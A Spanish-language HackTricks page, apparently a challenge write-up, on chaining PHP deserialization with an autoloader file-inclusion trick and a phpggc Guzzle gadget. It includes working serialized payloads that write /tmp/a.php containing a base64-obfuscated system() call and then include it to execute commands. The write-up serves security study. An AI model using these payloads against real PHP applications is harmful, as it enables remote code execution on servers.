PHP - Deserialization + Autoload Classes

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Primero, debes verificar qué son las Clases de Autocarga.

PHP deserialización + spl_autoload_register + LFI/Gadget

Estamos en una situación donde encontramos una deserialización de PHP en una aplicación web sin ninguna biblioteca vulnerable a gadgets dentro de phpggc. Sin embargo, en el mismo contenedor había una aplicación web de composer diferente con bibliotecas vulnerables. Por lo tanto, el objetivo era cargar el cargador de composer de la otra aplicación web y abusar de él para cargar un gadget que explotará esa biblioteca con un gadget de la aplicación web vulnerable a deserialización.

Pasos:

  • Has encontrado una deserialización y no hay ningún gadget en el código de la aplicación actual

  • Puedes abusar de una función spl_autoload_register como la siguiente para cargar cualquier archivo local con extensión .php

  • Para eso, utilizas una deserialización donde el nombre de la clase estará dentro de $name. No puedes usar "/" o "." en un nombre de clase en un objeto serializado, pero el código está reemplazando los guiones bajos ("_") por barras ("/"). Entonces, un nombre de clase como tmp_passwd se transformará en /tmp/passwd.php y el código intentará cargarlo. Un ejemplo de gadget sería: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Si tienes una carga de archivos y puedes subir un archivo con extensión .php, podrías abusar directamente de esta funcionalidad y obtener RCE fácilmente.

En mi caso, no tenía algo así, pero dentro del mismo contenedor había otra página web de composer con una biblioteca vulnerable a un gadget phpggc.

  • Para cargar esta otra biblioteca, primero necesitas cargar el cargador de composer de esa otra aplicación web (porque el de la aplicación actual no accederá a las bibliotecas de la otra). Conociendo la ruta de la aplicación, puedes lograrlo muy fácilmente con: O:28:"www_frontend_vendor_autoload":0:{} (En mi caso, el cargador de composer estaba en /www/frontend/vendor/autoload.php)

  • Ahora, puedes cargar el cargador de la otra aplicación, así que es hora de generar el payload de phpgcc a utilizar. En mi caso, utilicé Guzzle/FW1, lo que me permitió escribir cualquier archivo dentro del sistema de archivos.

  • NOTA: El gadget generado no funcionaba, para que funcionara modifiqué ese payload chain.php de phpggc y establecí todos los atributos de las clases de privados a públicos. De lo contrario, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.

  • Ahora tenemos la forma de cargar el cargador de la otra aplicación y tener un payload de phpggc que funcione, pero necesitamos hacer esto en la MISMA PETICIÓN para que el cargador se cargue cuando se use el gadget. Para eso, envié un array serializado con ambos objetos como:

  • Puedes ver primero el cargador siendo cargado y luego el payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Ahora, podemos crear y escribir un archivo, sin embargo, el usuario no pudo escribir en ninguna carpeta dentro del servidor web. Entonces, como se puede ver en la carga útil, PHP llama a system con algún base64 creado en /tmp/a.php. Luego, podemos reutilizar el primer tipo de carga útil que usamos como LFI para cargar el cargador de composer de la otra aplicación web para cargar el archivo /tmp/a.php generado. Simplemente agréguelo al gadget de deserialización:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Resumen de la carga útil

  • Cargar el autoload de Composer de una aplicación web diferente en el mismo contenedor

  • Cargar un gadget phpggc para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)

  • El gadget creará un archivo con una carga útil de PHP en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)

  • La parte final de nuestra carga útil usará cargar el archivo php generado que ejecutará comandos

Necesité llamar a esta deserialización dos veces. En mis pruebas, la primera vez se creó el archivo /tmp/a.php pero no se cargó, y la segunda vez se cargó correctamente.

Última actualización